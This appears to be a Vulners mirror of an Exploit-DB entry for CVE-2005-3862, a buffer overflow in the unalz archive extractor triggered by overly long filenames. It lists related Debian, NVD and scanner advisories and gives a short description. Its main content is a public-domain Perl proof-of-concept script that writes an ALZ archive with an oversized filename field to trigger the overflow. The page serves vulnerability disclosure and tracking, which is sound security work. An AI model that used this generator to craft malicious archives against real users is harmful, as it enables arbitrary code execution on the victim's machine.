Lucene search
+L

Unalz 0.x - Archive Filename Buffer Overflow

🗓️ 28 Nov 2005 00:00:00Reported by Ulf HarnhammarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Unalz 0.x - Archive Filename Buffer Overflow vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-3862
29 Nov 200511:00
cve
Cvelist
CVE-2005-3862
29 Nov 200511:00
cvelist
Debian
[SECURITY] [DSA 959-1] New unalz packages fix arbitrary code execution
30 Jan 200617:38
debian
Debian
[SECURITY] [DSA 959-1] New unalz packages fix arbitrary code execution
30 Jan 200617:38
debian
Debian CVE
CVE-2005-3862
29 Nov 200511:00
debiancve
Tenable Nessus
Debian DSA-959-1 : unalz - buffer overflow
14 Oct 200600:00
nessus
NVD
CVE-2005-3862
29 Nov 200511:03
nvd
OpenVAS
Debian: Security Advisory (DSA-959-1)
17 Jan 200800:00
openvas
OpenVAS
Debian Security Advisory DSA 959-1 (unalz)
17 Jan 200800:00
openvas
OSV
DEBIAN-CVE-2005-3862
29 Nov 200511:03
osv
Rows per page
source: https://www.securityfocus.com/bid/15577/info

The 'unalz' utility is prone to a buffer-overflow vulnerability. This issue is exposed when the application extracts an ALZ archive that contains a file with a long name.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the user who extracts a malicious archive.

#!/usr/bin/perl --

# alzgen
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

die "usage: $0 <length> <filename>\n" unless @ARGV == 2;
$len = shift;
$lenhi = int($len / 256);
$lenlo = $len - ($lenhi * 256);
$file = shift;

open(OUT, ">$file") or die "can't open file!\n";
print OUT "\x42\x4c\x5a\x01" .        # SIG_LOCAL_FILE_HEADER
          chr($lenlo) . chr($lenhi) . # filename length
          "\x00" x 7 .
          'U' x $len;
close OUT or die "can't close file!?!?\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jul 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.20436
32